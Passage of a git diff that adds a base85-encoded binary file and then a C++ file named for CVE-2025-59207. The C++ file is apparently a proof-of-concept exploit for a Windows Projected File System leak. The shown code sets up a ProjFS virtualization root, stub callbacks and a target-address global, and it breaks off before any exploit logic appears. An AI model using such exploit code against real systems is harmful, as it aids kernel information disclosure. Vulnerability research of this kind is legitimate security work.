zZf+JnCybmPO@Xe_!-dAF+-a2B{%?& zc~~;|@%FaU#N;IGGJ++oWv;xwzP@lcd`b$#nKNhLh)Q?lhI=5?b^u}J8TBzmMaB4+ z;HP|htDSGs(yEsyn{?PCp{7TCJf*a>H0+S29031&p4Se_iGv3Tdv3~*`_9eH&ECx$ z!|s9LOJThz@F?%@q{E*wYn9pD6YdeT%q^7A>NL=?Hpw}*GR0LTJ%CP)7m z_6nPD!Wop_!j#r{9XlI~u{nErghHaGex?KYI$O(=u$pwJ)EW3-NL$R*UYW!K1JxVI zH}$U3Ewr5@OjAzXRE#Kb-Y_G=!TMb4d=@+~*vzcMN@OuseXJe7<>$jIzik{mJY6WX z4xgq*iJi{I!XQ1^4}B({-S^;p1(BT+b!NVe&(;ph4RlZkaYuZ?V89{S>$8)O)q!YJj3=##Us_7Vha*z+~9u(26plJ#}5uirIgJxh?{L3TDf%s(Y2CVm3e z4ONNj1oq`uF@U215Pga4Y+#+`#)3v@c(|{r!}5g0?)>mR6D=*RaO=H1U9hwai(a8+ z4{5pFlUJ@>c{ebxQtoyQE}@oI;MkZhY+XYgUi<7^0_F#&(J$4J z(=lNby6$j7DHQNF@SSkTQ3ZrAc-z2}9)Xagu~8DrBmqN#&J7sxG>#;>)0Yd+rD>rK zmOlF^Od+4d^J?$u@dUdEn$OKU+eos_Mey4!Wt+M~+a`m>zd`*rVb^Sf{{DXPxr|@~ zVz9D8+@zWx@tn4n4bBh}#slJGS8~27oJj~+A56wjuzf)mxbJYmZqUtM_r2Q`ma@}; z+QOFQcT+Ku(&oi)Yl5K=85|4I)zkCAtY91}a*T{nz{$s!ADaPA8sRG6!hKdqUa!xd zxVyHx3j2$~nbfKunCt2u+DG*l`N&*J=$Rg?@#D4}dtCo!&#^P7eMZ=(9_ck%FD|)E{&8Ucgk(cxpaK;obwIXIAgt(Gd1@- z?8ZE%0IlfnzgWiah2p_XW&#Zq9g|k0=KE9T2n0Z@!UhI3XIgq=S>cbfYUb#Og|QA{ zSYp~U5>~CQ+Vl@|8=$DPUz;rZ0jriG*}CM0V&6oH|3t8NwQ==)VsTS5G6)5v946|6 zt_tXhHZY0^^sa4Z9XW(Su_V$87`Rj@yEn}HrKWmRYCnjlhso8Nz;{$j^E*(3xv{C~ zf&{^hxR3A4>8}Tws-h1|g}`M$+tiRX^}INc{U*}njV)kEMC9aR+@zjWqYrxLeiL9w z!cJ@r#SzK3dNU^jez6NDtZw{a=Zx^>b2T6=BS!W%hGn-J86;_=Ol;kr?cBCnsMBP* z=Sit{wdk{F--Of2lpa@LfWT+oH8Ufef3=`R8*&WIu+ig%OGP=mc;#sVjb>C*=<@E!O7Z&J6Fl)S685j$drVZs0sNa)Xqv(O35*m_f zDxL*=CqjJ3`k~W77e5UR4fL$ABpjf0AJ^$G?FscwO|X*q5kSKD7(gpKx8uVFAx}A+u7be z=_7m+2Me(4+*1faBO^M>pre4VkF0D}n_?*8d10ofr$e&=bPk>?ycjmJFB!Bb8PrA2 z&d(n~K2)lOo&XN$(2#KWR*pV>9LlU7H)@c6w2v$o`CqhzwZY8Jt>ckIEjHj z(+zwoOF?B@JG-%ohLADE0-i4oVNaOn0R26LP=D_r&wGgpELP-`7n!Ya%%5(Sih`s7 zOc41#3FjCtHWGqs-2Um)QPcp26A0F*mNDD=_b*)?x8SZO4&B;+R>h+z7cQd8f?9N6 z^)R7Z8X5tkqdJy7iq|;q=H1DY2gr;97~*`vaP7Bma5Lrx`Cq(r$#T3F_a%?5WUdg! z$>$u}wtq={Dnhab9upvImD(q9adBaXgblvvS=}&bBY`(@ynGlxss#>>s?8Sl;%l!!#V6oLI4K5$pI@(>RV8sD`e^zk*x7 z{?=8cVCqT}&SV#gX9mQVl+(l;T3TC^-tW(*W@@t%DI~#c(D+)f7GzHNU8o#vqy;xl zREsB65(k+63GjwSAt~xUJCb6kB2J67*;`=K4^DmwTX?R0`5Y9C6q0aycK_~O`pGML zCQD94FQig6G&J7znT&?mPG&&a{$;NU2Z6@Cq_t^JZlbVys$n+SXqX^!ORSAlYa z_vnJ)krPe^>a6^3|2Py*p?=zMNehdtJbz=keLjr%InR%AW?6aVnS`=pt zN8i(9smkdcGP?dur^aH$Mdam_m1zydgAXUPI}97OObMxmQ%ihv;QNUnBx8do3_=4> z>c&+XEq;@G_YNUorQ6%L7inUT!LV^8@ukU}j0iB!oKJl9JS_PJ^6Y1dE_&UNKa-|b zVAksONP0MyL4x4ky?dgwy=!7^78<VUB8A?*VM*=JtkqSc1;ZykzdXmhyohBtc!g&qdY~ zrtr)rIo9nQxPDj`FR!FT9exD>{e@f2-JGvUPcJVozq{Yd{B@|51XvaD2mo*vN7NAQ z7=PK$UJ|5WT~q`-RH?UAiGoqem0pKGzq(XisV`ilML*{m53d`o7H8QrTUj~)4T#^0 zQwOh|2xEve$?o2|zM%CMJ4>?*q5`WT+^DFiETc9uqSN>b)#H|6gG;{*kk(Y@BdhC9 zz1`l~nJ~w%P2Kv5#vP+DxbS84XIlPP;8IoJKNU@Y9rw28z_gYcFJ(4wbu1%S-1qTA zt6jZ|`aQe!9@+6?R=}FN!9gZX4iFRe`-IT=D5{VS4Vl<3{;T}(KfLLtOJ8A)Ze^M4 zPBja0^G511fnFT+PsDcZ)=A9Y!;&?Be}5=oEg(P+2VuGG@gyZBeY0*w;XO9jY6`1+ z_m0C7We^o%9W>ydI@7Juu#URA`mkFoG5V?lf0a@C@s&oc9#;T1OO}nrLck}9Q{i?D z{mY^pMklwv=CqBqM)N|jGgg4H>tco!P|2B`T2PZZqoh+f41oGT?&QpN%Bc;05L|E98fSs%BODpIx7)WU!^8^ zSfkr6N~keaM|kw`$)ksJL)^0nrDBs;aV4kR_EhR(wX(@e0#z9af#Vs~+Mm?Q%^}j` zx#nM8seJ8Y>qfzI{NR9q0N}Lx8?0Ymb0!QDKg=I1%X`0J*?|vMxPk8g-(+o_!+B$B z$zjBX2LeA3p25q<$44YGi24|Kf10zF*6@3Cp1%A*U@B4OWenR}F2u*Zs@RNTRqNfT zn%E&jtuQLHy`fv$mECQCRB3XOqn5Z~WMm}ioL5kAUr#W+ERHVZMAx`1v;JJ$nJzo6 zd#=(0?r0cAArZ{!8y9!MKQJ&MGZS2%e4|K-$ET!F9K8lItOrX=mX@#1laXN|aPaZ{ zjJeE*y7tRyM8XY-0z?6#GU>|};dPd!FA=H1%>GRiSJsR8Q1w0IQbZh8!Y=a$m76vO_!JboK&t~-VC!21I^=g|w z?XIV%*Do##9_5>ql!ndDm%vD6l1~G_(yv-97rsVu{!f{n7T#ygU0kdB;RKTINw0Eu z6u#=g1|Xc0L1wH#fbrqf4&c=D5WZf_OwqI78IpUImCNP}NnZpEYw~)D$ zU4KaK;Bo()+?n9#pS*JUG6kVu<>CevfIpi{JngtLb<@($%E{>*fV;3jVWqCN7MLaow(kIN@9OG$RZ>E- zx3~9hU|v_u2~Z@R%je+PK9qb*O2WeOxL_=SbiOLNcbF56q%AL&7ZjWYyXWQAoBWtv z0|QYC;SKs90!X-6FJC?^BLA&RQ8ux;x5o%DQHB);;@RR=^V&nHX9~-Yz?sCGZEbChn1x^tS27;l06O z3^<5TAxTz7=0-4eeYW&0Nhl71QTj_6I#{b_cl^l>qI2g6BGt*<--)l=pB!*ySkFRk zXCevaW1sdLmf;j!4)FJXz3QXFh=tf}L+;83HS}-=GlknF=Q7Y#Jy(vgyFuH2_wr=L z$DyI8NlCN-nTf~)X#HW774~z~XZr)73bSTbW73ea-@yuaiVY>S+z+Zu1Y>gGbM{KUdBK@_n_EHsS%S*B>M+ z;@N*gScS??d`eMFhPpKlrJB3r0{c{8zbUrfxS=?W7OGoQSpN3y-KW6oUq~7VrAie0 zLxXjsrFtX9uUaPLZdcEOpp1dIb?a9D!C*4ZC|m%r;avGwR}ErZumou&2$~J88)=TH zhC}sz)5}zVw@~BaWN4M+CA1&CYB?LDKrShIzs$DxPW{6p=wi{w=4D%=yvGnD8#|}` zYN{tcOc-oKQ8Ui0fE#ho9Omsx&Kh9(csMI6hH&3M;3JlVH`>@ z#Y^X6RPPGM^jQ|o#{=`CQc@>An-vhzmjRwbsfXq+$)umW2#jji06*&N>;%qjbs>30 zRXi5SCjYOKJ05BOnB18t9858N!Bq8}(D5Wd{W7uq0n5u)aKx*X)w0;4MO9T5Lxc}Z z2aC(4VCU7=iaPL-Egh3_F0y2h;1`54?uI!&vK1??!TxpQ{Ss1ulE5^wySo7FFy7c1 zU2}qTH8(F0B=#b5h9m<@LdeYFvp-|-Zj)e&4!@S-2?$*lY`hdCo?b}`eI!{~a zGd~q5dQ~7W+_qoVwWDHh&voa{9pEnk6PzxcrzY{Mp+pZIyXIXMl#1TPpIqua>H#|< z!oh;7)8FXG3X9zKiaEo(VK)!8#v$Ps7}4?cP&e#@1pY-h13OkJ&xk;2)<7(|^B8!Q z4B{cihDan`=_8-i+aP5)edAxNheuE!6HTyetyI6(6udChoG5DQ;k>bsC|&Nn!3_1( zmR@ALzOKe3L@Ox3g<9zVzy`2FB69Mxos=tle9$ji$pLf&0&`)eM^^ve=60M$c8rt3Sk+xzMqy6;c=bx|OKpAgRr znD9HZL7w?Ee`<*ju(F@meqrR>Xw`})!^Z)x)%@$(>Id;?D#v7Nd9qwKM()m?;wSj*-a^%RHjEvf0&N@6S!<@P)bmr^VGXul-^2Xq}w(Hk1u&}W$x0VfpN`}W}vum=;jqYzG z_SYSHhya)S&amZNXn45p;!r7EY;xqLnEcZk-Rq8yMGk>}b>oG=;3cJ`YB>2Em#O#H z&5?v)jVX=t?qq>q48q7V*ADt_VnY8ix#N8GUnO@)|36CZ$n>=;MX+dz>gZgUot@P# z7|1f|V_#ieg{mHh2t4-PcM9CAfHw(n-|KZhLa;$L-D}SV3y}CZ{mV ze0+{=hLo)z_o3tI_P-PBca~)gSSn@0`t;2xP8|T^bgzz&kB_y~%-dDzW_i=`oH%}5 zn?3TK)nsGto_I;Q!g{Av1anY0giIZqo7`Y~W@wbaTX0&t2QA`Tn>CANQdwMMsC=gQ z8`E#_06(XVAIcbCU@zj{r&eR!;Y}RO3%^0GI51r_9peFPv)FcSYBe@NEN~18YF)9c zbp*R#_t~3;McAc#{P=M>C8ba+zRgACzWLzdO%>t!j6~DUEjf1oYq?Hqv*fv_$u9#W z0^-)v6?_z5HL={0zzSlHIN`p+<&KGfB9p*%#N931e~eE5XbLn?u%A5YP2#ARMFh|t z6t*K1L>(|NodQ2Yvt1_BiOfwjsg|z!2X@TlgMA;ZX&`c~FVq$fbmfSPz#T+9RZGl*aK0=sg%X!*DfDVDhR?@5EHFPu5vvg1c^rY}6~ zr8Q49pe4^=zC4V0kKErWF2nQAW|aJ8T1God<(>I3KQL18@c?J}`}@C2O_frU1{7ly z_-GInPEO+B;Jh|TP&XCIYXyK&aLoQ*-h9}lE*|IaMUPdZ78P@Av)g@aYsl9tt-Om9 zE_-im%Z6PY%gWfa$P;>|-Q))@pS5bgy|x;Forg=TClyura^9*4@@`gE1R$d`GsdKR z4krPmdrU$?0wu%x`c&CWFVHtB+`4_63eYrQU5gvw6*6ois17q540N{#zFoI2Qa^h5 z5ZK6oy&ZjW(vx;bK`G)c{QX%bJqU(6hUHZc(r+HM0of;qZz^g(No8tRBQ2(dBxKg zW1TaeM;2KBC8cdIKG!&7B0JM?js)L|guOPLlg-=Y?p;Af zLXY7^F>cb@rSZB`fpzVlKGA8!4=A3~IEO+~#9&Q{CPJrdvkhFSNiA zdiwg*iRS1YGoP0++xj7<$oO1_BZ*9JT*D~UhU+IeUw`Ed#R1!mz@vTw^L>pj023g3 zf&G?nln(#gf>^#mLpF|A6$W@A>S6WX8ku@Fliv$;?(L1{Ii)tIr%#{4xwL>xGZg(@ z(VilEA9u72JeL%3BLx5*P(|am2ld%FV9&#hS$VnEMr5X1ftiogWH7Z4$1@KP4@&sy zOmqSQ0+Uw=%q{+o2pT648%JCr2gn_ep@>7SJn@+(;zG^)wD!D?K2_FR8v!{LAH6K_V(>b zIXD~J!9nHano=9iopfc>Gw08rhv~qb`2sdRK1ilasS`km`dnyiERKAUeEM}-shT&|MhQIQ2EynZd*)vlY>+*gp@?Iqc^Z(IKVbav+PP`R0sWE&~_8jQf3?gj{zkgIz#Vw$+ju#jj0O@j zif{C51RE$NtIJoup1->rzb)~&IXQxT&y_+k^ZyQG1uo@ihevb{<}Gw<8P*!{rzxkx zJlAAi4dsJZM_3-Z&Na|q5CB0j2;9zxGS`+4d6DJy9BYwAmgyfCI(gFA%xqV(`fjZ} z1Apvj$K_B1x?o}_CnvlFaPnIK^|nGpNQm8lpodLg@07vsT-k6A(K{ubJl2cQO5b75$q{hepJ&dw?4|fn}`)u-zK^WB% zS&evN-F+0teg;VkqZ4nzvDJb6tU| zYr^uC3dRX*gK)RyJc}#4x$bfKpQ{2b|GkBedbHbCKP3;E-uEag&C1$?Xak|cVveRT zWT%$b7r!g=Xkw6ghBXPFH@UoWPFaBadp~8M{rpFjuhY&o(1gFtamSqt z=joUECL|<8eTy4P|C<@Jv9*Qus$eD5m^i9HJux{6-JUBePea=Wz?UHCIcs3Rl97=i zzbAhCX>H*){q)+s2laVSV>&NuK#EQQL@;xFBWfa_N zlpOHMsb~BAc@)dV!*lNP<$u5#V|eufK>P;HYYtDLD`0$vH}2%(@@X=A)*O8dvj66_ zEFE=BdijtD3x4xiQLL;l;IGhs;^axijA~uywZAA`!-V zhv%P>@xf-*J^*K1;>Ax03i>&YwTur2KpSZ2lH1p(`v!+Tz4*qIftk5p?^+c{i^oT6 zrj3sxH9M%63hygtMAd*3V6zgx)>pI#j41v5^XJcvxTpv= zHRDu`lNYl&ee$ILvu9`96JQTOH8mwGbOe;l8q?fhQVSXmN9QPc+h{M)5H%{i<4WO0QNOBV-l3 zRF4D$Zt_1nyS6TEG8x}XRlbQef5Ltv2#(Hq5;`KKuk+o>mz9qTD$?eGj-0%_Dk_%e zQjs^$9-5;Md!Ed7`!UhW)@bagZ|8VDU{()FRv389zB{AMLl>TGJBEVFrN13Bpvb_8 zCJr#MNV6d-20~pU#8J;s!vErd+1SVkp_)m9 z!{PcY<)R!MdJTF9`2Zup{3SB+kyhR_+fooALjwWcvnKnvu>uIQ^{ZV?O|UT&czyYf zh&_!05!-5U7^xTl!5$tX?0cP!$YKtxyCKi+E6;wI@(P)bs*DVgNj?K0g=fS3p{!Ey zZ~^oD|D9!W(p2Vef+Vu#s^!5!10f+HCgwvbc!7Vg9m&j8S~=P`EQM|p zXnC2&f>Py3r11Uy>2dnS^t)&1ZA+PKOZB=kOH1hyv#&&k*rT5@=;hS2byy1RL_D)P zo;6tMN(1NsJm4m}o}Lnjcadt63W`^jeky)xT*UPk???O>K*99HYu#ureE*bX0M6g#7eeq z>Ll?jVVt9P20ne_0#_2;yg4CP&WW)MmOClIG@?SB7&9|-mz-cqRAlgC$C}q6tbqP; zdRVEnvEfx+(C~)(5J~u!0%_tcd%LBkhrmSw-Wge1a&bHe;=$fEX9O1+oUt4~Lp{_~ z+L*#Je{eD3HXk_^tg$=Gbf`%)wA|LKh7}Mhv=ubd2}pa7O5+&UP}>6D7Osax=l7N1 zbv(aZWd%ub;UU)IpDujLR3?Z@pW44CQH?)EjMqU0OS2`p8=XgPDV_8+TU{U&3-M0O zJps{eTsk?4ABerQ+dMz@HaA^#A9t>dWMF7(Y5o+% znSceFx z?5WP;t%1K^!8=>nNRn=h#z??0xKu@wBPq^Y~g;7)#GV_loa>UB|OaPlLyVI3VEuB|U5 z)}{&(KEd>S))woQ(26X+h^=Whlj;jnLz}e8Ztny5YYxgcyQ~% z)IW&&Cl{bahoy~8XJaS0MISA8q*NOI#Imm#^lq}qb=0w3Db&&5X}u*$dbN^9g@8W) z4JK*sff1fyG^I`2(iB(dLsvS_o(6qLfnb?g{T z9*2T&yCv;4G+A%UxS1Z^$-h5(U{X>Rc3bTH`t_?=-upS1<|2J{T4E?dp072o77Q9! z4-K5C+@7EhkFttY$2Q5jTOo(|(pasYv@)#O6Dpg3M*L< zT#15W6xc+dpnw`1!xz|Ob{0&bw{PEuX2VJ`$9Mb{{%*v^GG5KMGCy`6@N-YkzkGaD zuCA^Rb8{QOWQEk!gw@f?Dk|YITH4yXgByHdD=D2q62M$q0R@mLyghKAIybM-ES zx>8V3K#F~xqeGP1ehZ-OyS14bPF6v#=Q1Y?ul5V`7*;dO%F3ElH8wU1Bn&9Y@p97R zqIo*kWVa+!`8WXAuw(!b6|bevoqST8UI2gIdGWXEGcOVL7R1CIm6XT;Yuk_12N8Qd ztNA_03yuc5%W;_RD>KK^Y3E*oDOwsDnvq5)iGpZB0!hL0K-*H&_0@$>#)-_hM&3*OONU=H2^9hlNW_QsYt9>ELF{<@+?L5qz6HGp)+LI-7SLC~{2 zRoDvC_*cUj%kWBiT38ji_glVI5jq_qe4u@!^Yq&@=H?s;t{)k}QAfqZK+*HP`}aGd z?y-!zEdMnbTpn5rmi%^uCV?tL*xv+JUKkbY<~xq5f^Y%~(8vtvOs8rUR~ioDNv)BK z?$wr`M}E5B|B?2V-4E~B1vTx&byFLzr&%<$w1N})#T`D}dYtHMD#cgn4XCoUQwG4t zMlC+sXg#)PrgEOrx0dZL0~;X=DYNeF=3PJ)Id*eYf#FTm?H&$x#}lMMAP+KLgiAS zqLq&&Oa@7tFQdmp2b;uVFh@2;2L4dh{mdlaGIfbp%PB+D?F-k-D}rD&03gEmTtC%5 zICxwDZi9ZFpSS<`GB(O7##}5t2X*j!b`_UHdpw2=&>46p!FYhRgGm_G*65H?UVacj z2cRFYN_*8vWfIAM(q2M2T%?qJ+!t?>56_KRf4WK9M{y4S=6$>r0M5;h#g@o2Ns)_#`-`P5Zz zl^lwQQ}p2!b`*caav_(MC$o$@3*Fm2RQONo*WT9b#Jb51qP~!uakF&0FCUdID?YO( zCDSL5*gh%~S_2E{MpkwnW_G0-@p9ab_<@s`JCN{%lRYm% zvJAV?6~*iu^9)IF$*IXH1XDP6d5#B^KFHktO=XZ&ZG_kP%R9I_(!9bipwpk?m8agM z7)K9XaT{63^S#b56A=yeIj6M6SHx)xh;`aE-ibRr^tjT4e_zi=&mF^boQm{W!9@VC zU1=}2wWPD~g;~Oe4w%IH0VI{A$(vV9? zrw@+yc_wM^xRMu+(#vE&wT0p>mEo_ks~m*``5)1?P#4mmh*`dz!Yv|;-0x!hp*VX9 z=#B!v7ni0DsU6(8r`5vKLTiYX_QL%RqYK_Ao4pFK)+v@~v}psL>h$|*vtg60$NOhV zP$`1yvpC9KqoZKJoUFHZ!xTClJdo=-Z1vovu@3+uoe+3lqECH;kW`*It`}lu+HpuA z(yMtn-*oW}a0T-%@#GY^-|ooQ;p8NLJGt6ZNs*n<^suSClmwLRArlC#UPgB9ZZ0Vs)17gCdF+!sN>W{UHpv#|*+btAz2w7dulfQB7gW@b$TN2D zjAb5^jHlls_vCsE3oZRnSQx11OYuEQ0ldH%=I$Ss0h&`7^hsW~adXcG&R;V*7G6La z*xlSB(*QJ1@d+V(+f;rVe#PbG-{Rz_bJ@yK-_5#8Oyr`C=El9Op~G!Vlmps*#l<`^ zFNW$>9yqCQrWk)7QaN2XxzNCaB^Fw4%r+v$U&R+z zbUE+t>}D?KXx`F%N~;yM`-KzJC-@23thL;@Y50tZzmTr|8^tgU+n!Q7J7AVhAS@cH z?*wTf*3H>yrWld?vSyknj#wszqTHQ%i#cd2eUxLnarMje^H{~*!|mlZ6rg3) zcJGi&q0S>b=g_x(Wpst{*SomL$9lScAqG|E1C~tvn(=qjKdq##OT)i(Gi%7}ZXNdQ zWBN=KT!|g6hbE4j1Csg}-^MV;pK;y)mRT*xZz?-~c45}~CYRYp5-63YYgZEg!6Sd2 z@}VTOQdoSDw9gpTM}lf^7wCEQa~qUgIcT}D;M{neuDzvfx+xG=^u_7b%-&m}py09) z?aDxq>IY*bVA3yFV?)gNcyfh=dpU2W=AO6$*bD0G+U3@t!L`d{Nv;=vTe8lJzklCedXDA*pQI*>Mpq_mz zW}IB=Yt@(FRJ8dNI5(Hv5oj-=13HS2gVfeM;lh{uT9vXeprWBO$T!C)v23?gB6k)OSy3->*deUKryxfsS6-;O{wYoF5DR?y=)V_SoKXrzbLj6l%w( zkRLoEGy>Ue(9FwAd%QUFhGeCuS5!P&f^O+r;T42WN>3LOPiQPnpilx>_@+DK0_^AZ zc&1@Its)ferVN(3YL8XQBNuldPyzXkK^t7vXxD;2Ue&@h zu63G47frD1V)L@|##U2`ajq`-U7j^naP1?$(y|y3^AL%meOG|1&x=?IP+nK8T)6*H!EW5T4EyT;nniZHw+T&SIMq?NIw?n~U+I6}Ww`SIs zO(5BOJNSi9Vou_y7gOF(qe{pM{O>=k1cEw?_o9exvZSjU1UkQBHoAS`%`j#w?8t=l zJb0*ObeiVi8?eITYJ~Q=z!Ct?RKFc}=T5{U#1LLOdD@*os6Qp&mfvk9Wi{EGmU#BF zNIUVVv=ORfM{>95R1f}56l#)44i_GqfoOg3nagSO-8+x6;`1@u&QXy0ji&JCQ71vQ^{_Pndfzxv3@`aK6D4dxA z7a`yCgj^);lG@i;(7t}UfzrT_krO{|4#WIN9)7}>lwcK2odUbjoS5w zNBXfhubmhM0v1O;(|zsPYXiUKg`_Co!$uu|TyH{})_xwSLfN5yI0o!eo4gAb-o_6Z z+wZckdb_y0Q`Tu;?F3KtaftrRlW$zJ3SR){mv0$|5uV~PU}|aV93KNhcW|tor!xJk zV6yDGttyZFn(yex#~izV`kA1x>+!Pw{gtd5F?FZ(wYx8IG=DIO*L$MrQPWZEOfS4R zYP5BbP0?`B;L+v?UC_hwfHEkC&^qk3*h)}DN4dFa=tsIJh&%t$y9)1$VP;e1lg!9@ z{6zA3I+}ywx=Dn!_xtm5+v>Q%Beb>b0Um{XNYGu=4{29+iDQlF-FI_{h!zV{>YRVg z#ogon zi&3Sx{q79F5vG4%Ow8uY%+^9PIcLwbE-B$KDSj1J;=)@k2Le&-;8o%|DiIk4uGa29 zS-2X^mfpv`@p&1>aM({D$;QfBk5aB6!*e%0-+$fo?zSg^m9F+B7+MQy{QOp054Iu5 z2uuS8iCz-5RdSFn(LSyJ)<|>YkN*%wZC3L@60r1~!@9PvDizmK$GYpfTq<&@lfzdU zN6su2!pnYx&0=#}OXdc%rb^X*OgkNYT1LEJi1Q87(;Y7>W{0@gx%>H`5nCAm5q5Lz zRndYTlXrM#C5CKCDPRdHuA$+P){2y(r0?IqtGh>Z!DuYRWyXH~xNFWtDq4tOXI)6d z;Hiv`nisVc`%4s@AKLr*x?nCp+t0;8HqJ-Z*#Zrwax2H2PH1=Guo-Z4COUx6bo-bc zb|fk)Dx2s?6m^q-%HiC5l<8`-)ZUY{ujcad5_#04OAXB__3`*YM$e>@67PNKn~*%# zI?*^c)x`Q;I9gF_%F-`U>HwctTxNr5OTy@SkIh@T`9#A`jr`yfL7)J$S8OB~V-5~q zkOnoO_+Ee>2mC`eiX*LTV>vHS8;bZa*xmV3pO@;DPYan|v@n}S`(ij*cDo-r;z(b_ zN~!gg+d9m@rrgJ#3&?EmH+~Dd7DQmFAa`Kgq@J(`;m&3X@5tBrlGCS`G7D++gk%Ln zzqq$F+1n0jdwCd|x4j-8blg^8^Y0y7_SeF88u`JIFOtN;BD2EECG~^6jHLKb#LP?k zZM_cbsI-YB7b9Mt3u*n5E3Xj>)zO`d=(ENCX5*Dq>bYw{dI^l|iEG7?k1$z`_hRx5 zHkV()8^oau?oJjI-@VIuLY@ItP!8N?1*YZAey4&+%(Mx*=-lo#+C(f`aIjJPg>(E< z5#%U~G@R;ciQ!gC$B*NpTV0c#9{g}{?C7hGoNN?z#0@eEl=RQ zrr_k{bQQew?v4ZN+-8!TS~2T{roA0}fpe~~mIUbyckgXKAprqrsV3jvstEC(1WE}y z9M4oT0C&9uTG|zW=N#g`?7(f{l4lxQFmP2soB++;m3mM1nWmP8d5FSDu*K@T zWP4`L$)%6z|^|8T?V@8R$WDk8HS+Cky)&&eDa$OVhC^DM+ zSBD}A*F+D8@WFTtYLERk1*4i&f8F*rW!U&Qzhj0tJj=bCATk`5I(xafMCM-7PK8H) zr?f&=7t?y~OiNUO`wJ79(Wm`xv|2&GkM&{j?wOHD)}J z@U;&k)3EzauQuE zk1=8=mCT%-#JR`c*b4g=GixkifD+kvR_?=ooL2G5G;i$fNqCs2g&(<+*KjLB_o#itw(;H+xU%ybMe^PX3lk@H*Nj%hXnzl3(9JCp;I|R`*F_a^7X2@ z;#m;?mRE=lirMUt(zS*j>(_qQjL(z_2$}R>VEb7B0N?-sc&3aCq682U5(1j>$DU)K z{U?F3Im1WJPVR6gcM~md7r2`dua~1kZGx&=CqG3Ptc`)$S$#eMPwt~FwM=qbE`3`q zdr{c6CG4rMFVvRqd+|76T;6kfz&E=m-a0x{X#BSM@N}X>8Z|d|kK*BS-titgQEyXy zxw!=XY1!VRw;1z)`-Ypi`7vomoa6Wc60TVb_@z%8$Y-Av`PBez>Fn=@UQi0{H09PW z4~v5$zz&iaza!E_8&WG+#C4fRuRNiGa&Xt@-WWKa_$~63%`EZ*+leKRZnj6wc}{G$ zl3^k54tq;+4QLT=QN(tBeyK1q;D2i6H-lnwVc<;ge~}NBhoy*unwkQLT&v z0Ca=?umui~67XMZgt`pU=3(EZ;R67-{$rPaXAsV=mV8bgj^=PzTPN#3O!L3^S~+78 z7!UxkAp`(!{u}n^bso$5C*BS2?v6#f{SN-#BEtiT{Sf*8#J|8Q`zPEA>mFKW<__@R z;cYYXOLA}l03Ip;fczigZLp0067TNq0ROFUdG+r4QZfJ_>eK(~u0Z@3*wWd;!x8J8 zzmtuVR=5np>RySJPyY|u0yKZYOSEU;qHHHSo7&d*?3|+-=~FaK1m!0>3N8-y7;bDKJcbQ8>aaZO!;> v9nGxa0=zCx*8i*i-~H>47X9B;kN$1@ex{6vRT=;w#vWl<=aC=%_e1|dHK literal 0 HcmV?d00001 diff --git a/CVE-2025-59207/PrjLeank.cpp b/CVE-2025-59207/PrjLeank.cpp new file mode 100644 index 0000000..f412358 --- /dev/null +++ b/CVE-2025-59207/PrjLeank.cpp @@ -0,0 +1,524 @@ +// FltTest.cpp : This file contains the 'main' function. Program execution begins and ends there. +// + +#include +#include + +#include +#pragma comment(lib, "projectedfslib.lib") + +#include +#pragma comment(lib, "FltLib.lib") + +#include +#pragma comment(lib, "Advapi32.lib") + + +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; +WCHAR gszWindowsDrive[MAX_PATH + 1]; +WCHAR gszRootDir[MAX_PATH + 1]; +LPCWSTR gszRootName = L"virtRoot"; + +DWORD64 gdwTargetAddress = 0; + + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +LONG DeleteDirectory(LPCWSTR szDir) +{ + SHFILEOPSTRUCTW fos = { 0 }; + + // delete the folder and everything inside + fos.wFunc = FO_DELETE; + fos.pFrom = szDir; + fos.fFlags = FOF_NO_UI; + return SHFileOperation(&fos); +} + +void CreateVirtualizationRoot() { + + HRESULT hr; + + const wchar_t* rootName = gszRootDir; + + DeleteDirectory(rootName); + RemoveDirectoryW(rootName); + + if (!CreateDirectoryW(rootName, nullptr)) + { + hr = HRESULT_FROM_WIN32(GetLastError()); + wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + return; + } + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + +HRESULT MyStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + return S_OK; +} + +HRESULT MyEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + return S_OK; +} + +HRESULT MyGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + return S_OK; +} + +HRESULT MyGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + //getchar(); + return S_OK; +} + +HRESULT MyGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + return S_OK; +} + +void StartVirtualizatioInstance() { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = MyGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = nullptr; + callbackTable.NotificationCallback = nullptr; + callbackTable.CancelCommandCallback = nullptr; + + HRESULT hr; + const 